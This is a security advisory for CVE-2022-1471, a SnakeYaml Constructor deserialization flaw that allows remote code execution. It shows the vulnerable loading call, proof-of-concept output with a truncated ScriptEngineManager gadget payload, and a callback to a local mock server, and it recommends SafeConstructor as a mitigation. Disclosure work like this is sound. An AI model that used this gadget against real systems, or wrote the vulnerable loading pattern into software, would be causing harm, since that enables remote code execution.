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SnakeYaml: Constructor Deserialization Remote Code Execution

High
rcorrea35 published GHSA-mjmj-j48q-9wg2 Oct 13, 2022

Package

Constructor (SnakeYaml)

Affected versions

1.30

Patched versions

None

Description

Summary

SnakeYaml's Constructor class, which inherits from SafeConstructor, allows
any type be deserialized given the following line:

new Yaml(new Constructor(TestDataClass.class)).load(yamlContent);

Types do not have to match the types of properties in the
target class. A ConstructorException is thrown, but only after a malicious
payload is deserialized.

Severity

High, lack of type checks during deserialization allows remote code execution.

Proof of Concept

Execute bash run.sh. The PoC uses Constructor to deserialize a payload
for RCE. RCE is demonstrated by using a payload which performs a http request to
http://127.0.0.1:8000.

Example output of successful run of proof of concept:

$ bash run.sh

[+] Downloading snakeyaml if needed
[+] Starting mock HTTP server on 127.0.0.1:8000 to demonstrate RCE
nc: no process found
[+] Compiling and running Proof of Concept, which a payload that sends a HTTP request to mock web server.
[+] An exception is expected.
Exception:
Cannot create property=payload for JavaBean=Main$TestDataClass@3cbbc1e0
 in 'string', line 1, column 1:
    payload: !!javax.script.ScriptEn ... 
    ^
Can not set java.lang.String field Main$TestDataClass.payload to javax.script.ScriptEngineManager
 in 'string', line 1, column 10:
    payload: !!javax.script.ScriptEngineManag ... 
             ^

	at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:291)
	at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.construct(Constructor.java:172)
	at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:332)
	at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:230)
	at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:220)
	at org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:174)
	at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:158)
	at org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:491)
	at org.yaml.snakeyaml.Yaml.load(Yaml.java:416)
	at Main.main(Main.java:37)
Caused by: java.lang.IllegalArgumentException: Can not set java.lang.String field Main$TestDataClass.payload to javax.script.ScriptEngineManager
	at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:167)
	at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:171)
	at java.base/jdk.internal.reflect.UnsafeObjectFieldAccessorImpl.set(UnsafeObjectFieldAccessorImpl.java:81)
	at java.base/java.lang.reflect.Field.set(Field.java:780)
	at org.yaml.snakeyaml.introspector.FieldProperty.set(FieldProperty.java:44)
	at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:286)
	... 9 more
[+] Dumping Received HTTP Request. Will not be empty if PoC worked
GET /proof-of-concept HTTP/1.1
User-Agent: Java/11.0.14
Host: localhost:8000
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

Further Analysis

Potential mitigations include, leveraging SnakeYaml's SafeConstructor while parsing untrusted content.

See https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in#comment-64581479 for discussion on the subject.

Timeline

Date reported: 4/11/2022
Date fixed:
Date disclosed: 10/13/2022

Severity

High

CVE ID

CVE-2022-1471

Weaknesses

No CWEs

Credits